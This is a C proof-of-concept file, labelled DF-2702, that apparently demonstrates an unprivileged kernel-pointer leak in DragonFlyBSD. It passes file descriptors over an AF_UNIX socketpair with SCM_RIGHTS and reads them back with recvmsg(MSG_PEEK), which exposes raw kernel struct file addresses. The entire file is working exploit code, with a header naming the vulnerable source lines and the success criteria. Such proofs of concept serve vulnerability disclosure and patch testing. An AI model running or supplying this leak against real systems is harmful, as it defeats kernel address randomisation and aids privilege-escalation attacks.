DF-2702 / peek_rights_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 | /* * DF-2702 โ AF_UNIX SCM_RIGHTS kernel-pointer leak via recvmsg(MSG_PEEK) * * DragonFlyBSD soreceive() (sys/kern/uipc_socket.c:1421-1425) copies control * mbufs with m_copym() in its MSG_PEEK branch and NEVER calls * pr->pr_domain->dom_externalize() (unp_externalize, sys/kern/uipc_usrreq.c:1543). * An SCM_RIGHTS control mbuf queued in so_rcv still holds RAW kernel * `struct file *` pointers (put there by unp_internalize, uipc_usrreq.c:1817-1825), * so a MSG_PEEK receive copies those kernel heap pointers straight into the * user's control buffer. * * Unprivileged: only needs socketpair() + sendmsg(SCM_RIGHTS) + recvmsg(MSG_PEEK). * * Success criterion: * - PEEK: cmsg_len == CMSG_LEN(2 * sizeof(void *)) == 32 on x86_64 * (internalized, pointer-sized entries) and both data slots hold values in * the kernel virtual range (>= 0xffff800000000000), stable across repeated * peeks of the same queued message. * - Real (non-peek) recvmsg of the same queued message: cmsg_len == 24 and * slots are small integers (the externalized fd numbers) โ proving the * pointers are an artifact of the skipped externalize in the PEEK path. */ #include <sys/types.h> #include <sys/socket.h> #include <sys/uio.h> #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> static void dump_ctl(const char *tag, struct msghdr *mh) { printf("%s: controllen=%u flags=%#x\n", tag, (unsigned)mh->msg_controllen, mh->msg_flags); for (struct cmsghdr *cm = CMSG_FIRSTHDR(mh); cm != NULL; cm = CMSG_NXTHDR(mh, cm)) { unsigned char *d = (unsigned char *)CMSG_DATA(cm); size_t dl = cm->cmsg_len - (d - (unsigned char *)cm); printf(" cmsg len=%zu level=%d type=%d datalen=%zu\n", cm->cmsg_len, cm->cmsg_level, cm->cmsg_type, dl); if (cm->cmsg_level == SOL_SOCKET && cm->cmsg_type == SCM_RIGHTS) { size_t slots = dl / sizeof(uint64_t); int kernel_ptr_seen = 0; printf(" SCM_RIGHTS entry size = %zu bytes " "(sizeof(void*)=%zu, sizeof(int)=%zu)\n", dl / (slots ? slots : 1), sizeof(void *), sizeof(int)); for (size_t i = 0; i < slots; i++) { uint64_t v; memcpy(&v, d + i * sizeof(uint64_t), sizeof(v)); printf(" slot[%zu] = 0x%016llx %s\n", i, (unsigned long long)v, (v >= 0xffff800000000000ULL) ? "<== RAW KERNEL POINTER" : ((v < 100000) ? "(small int / fd)" : "(non-canonical garbage)")); if (v >= 0xffff800000000000ULL) kernel_ptr_seen = 1; } if (kernel_ptr_seen) printf(" >>> KERNEL POINTER LEAK CONFIRMED IN %s\n", tag); } } } int main(void) { int sv[2], extra, r; unsigned char cbuf[CMSG_SPACE(2 * sizeof(int))]; if (socketpair(AF_UNIX, SOCK_STREAM, 0, sv) < 0) { perror("socketpair"); return 1; } extra = open("/dev/null", O_RDONLY); if (extra < 0) { perror("open /dev/null"); return 1; } /* Pass two fds: sv[0] and extra (two distinct struct file's). */ memset(cbuf, 0, sizeof(cbuf)); struct cmsghdr *cm = (struct cmsghdr *)cbuf; cm->cmsg_level = SOL_SOCKET; cm->cmsg_type = SCM_RIGHTS; cm->cmsg_len = CMSG_LEN(2 * sizeof(int)); ((int *)CMSG_DATA(cm))[0] = sv[0]; ((int *)CMSG_DATA(cm))[1] = extra; struct msghdr sh; memset(&sh, 0, sizeof(sh)); char sdata = 'X'; struct iovec siov = { &sdata, 1 }; sh.msg_iov = &siov; sh.msg_iovlen = 1; sh.msg_control = cbuf; sh.msg_controllen = sizeof(cbuf); if (sendmsg(sv[0], &sh, 0) < 0) { perror("sendmsg"); return 1; } printf("sent SCM_RIGHTS message with 2 fds " "(user cmsg_len=%zu = CMSG_LEN(2*sizeof(int)))\n\n", (size_t)CMSG_LEN(2 * sizeof(int))); /* Two PEEKs of the same queued message. */ for (r = 0; r < 2; r++) { unsigned char rbuf[512]; char dbuf[16]; struct msghdr rh; memset(&rh, 0, sizeof(rh)); memset(rbuf, 0, sizeof(rbuf)); struct iovec riov = { dbuf, sizeof(dbuf) }; rh.msg_iov = &riov; rh.msg_iovlen = 1; rh.msg_control = rbuf; rh.msg_controllen = sizeof(rbuf); ssize_t n = recvmsg(sv[1], &rh, MSG_PEEK | MSG_DONTWAIT); if (n < 0) { perror("recvmsg PEEK"); return 1; } printf("=== PEEK #%d (n=%zd) ===\n", r, n); dump_ctl("PEEK", &rh); printf("\n"); } /* Now the REAL receive โ this goes through unp_externalize(). */ { unsigned char rbuf[512]; char dbuf[16]; struct msghdr rh; memset(&rh, 0, sizeof(rh)); memset(rbuf, 0, sizeof(rbuf)); struct iovec riov = { dbuf, sizeof(dbuf) }; rh.msg_iov = &riov; rh.msg_iovlen = 1; rh.msg_control = rbuf; rh.msg_controllen = sizeof(rbuf); ssize_t n = recvmsg(sv[1], &rh, MSG_DONTWAIT); if (n < 0) { perror("recvmsg"); return 1; } printf("=== REAL RECV (n=%zd) ===\n", n); dump_ctl("REAL", &rh); /* Close whatever fds were handed over. */ for (struct cmsghdr *c = CMSG_FIRSTHDR(&rh); c != NULL; c = CMSG_NXTHDR(&rh, c)) { if (c->cmsg_level == SOL_SOCKET && c->cmsg_type == SCM_RIGHTS) { size_t k = (c->cmsg_len - CMSG_LEN(0)) / sizeof(int); int *fd = (int *)CMSG_DATA(c); for (size_t i = 0; i < k; i++) close(fd[i]); } } } return 0; } |